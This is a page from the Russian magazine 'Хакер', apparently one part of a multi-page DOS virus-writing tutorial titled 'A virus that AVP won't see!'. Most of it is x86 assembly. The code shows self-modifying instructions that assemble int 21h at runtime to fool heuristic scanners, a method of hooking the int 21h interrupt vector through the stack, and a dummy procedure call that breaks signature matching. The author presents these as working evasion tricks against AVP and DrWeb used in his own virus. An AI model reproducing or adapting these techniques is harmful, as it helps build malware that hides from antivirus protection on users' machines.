Электронная библиотека

Хакер


Хакер

Вирус, который не увидит AVP!

Xakep Online -> Журнал, номер #012, стр. 012-034-3


add cs:byte ptr [$+6],0CDh ; добавляем к нулю в следующей

; строке 0CDh

db 00h, 21h ; то есть получаем db 0CDh, 21h

sub cs:byte ptr [$-2],0CDh ; возвращаем все на свои места

; чтобы в следующий раз не

; получить 0CDh+0CDh

db 0CDh, 21h, как известно, есть ни что иное, как int 21h. Но для эвристика дело ясное, что дело темное, так как, просматривая команды, он обнаружит add cs:byte ptr [$+6],0CDh, а затем ноль, так как он команды только декодирует, а не выполняет. То есть его алчущим очам предстанет что-то вроде этого:

add cs:byte ptr [$+6],0CDh

add [bx+di],ah ; ...и overflow флаг ему в руки

sub cs:byte ptr [$-2],0CDh

Все - AVP отдыхает. Уже этого достаточно, чтобы пробить защиту, построенную на использовании мониторов, сканеров и прочих гадостей, поселившихся в компьютерах этих ламеров! Код CodeZero легко модернизировать, использую соответствующий макрос:

inth macro

add cs:byte ptr [$+6],0CDh

db 00h, 21h

sub cs:byte ptr [$-2],0CDh

endm

Единственным минусом данного метода является значительное увеличение pазмеpа кода. Hо в каждом конкpетном случае число замен можно сокpатить до опpеделенных пpеделов, сокpащая и pазмеpы кода. Правда, такой замены хватило только чтобы обмануть AVP, а DrWeb продолжал думать, что он мистер Вселенная - реагиpовал на установку пpеpываний pучным способом:

xor ax,ax ; ax в нуль

mov es,ax ; es:ax = 0000:0000

mov word ptr es:[21h*4+2],newint21+2 ; в таблице прерываний

mov word ptr es:[21h*4],newint21 ; установим свой

; обработчик int 21h

Здесь можно слегка извратиться и написать так:

...

; добавим глобальную константу

int21offset dw 21h*4 ; заранее вычисленное

; значение смещения в

; таблице прерываний

...

xor ax,ax ; ax в нуль

mov es,ax ; es:ax = 0000:0000

mov word ptr es:[21h*4+2],newint21+2 ; в таблице прерываний

mov word ptr es:[21h*4],newint21 ; установим свой

; обработчик int 21h

Правда, в своем варианте виря я поступил иначе:

xor cx,cx ; cx = 0

mov save_sp,sp ; сохраним стек

mov save_ss,ss

cli ; надо предохраняться!

mov ss,cx ; стек = таблица прерываний

mov sp,21h*4 ; указатель = ячейка с адресом int 21h

pop cx ; прочтем текущий адрес int 21

mov saveint21,cx ; младшая часть адреса

pop cx

mov saveint21+2,cx ; старшая часть

mov ax,cs

push ax ; и установим свой!

mov ax,offset newint21

push ax

mov sp,save_sp

mov ss,save_ss

sti ; можно расслабиться

Hемного великовато, но, тем не менее, действенно. Втоpой способ - сбить опpеделение эвpистиком сигнатуpы функции пpеpывания. Для этого можно, после заполнения pегистpов, вызывать функцию-пустышку (на которую эвристик спишет все установленные параметры):

mov ax,4202h ; подготовимся в int 21h

xor cx,cx ; нет чувства де жавю?

xor dx,dx

call near voidproc ; вызовем пустышку = собьем сигнатуру

int 21h

...

voidproc proc

retn ; сразу вернуться - миссия-то уже выполнена

Назад на стр. 012-034-2  Содержание  Вперед на стр. 012-034-4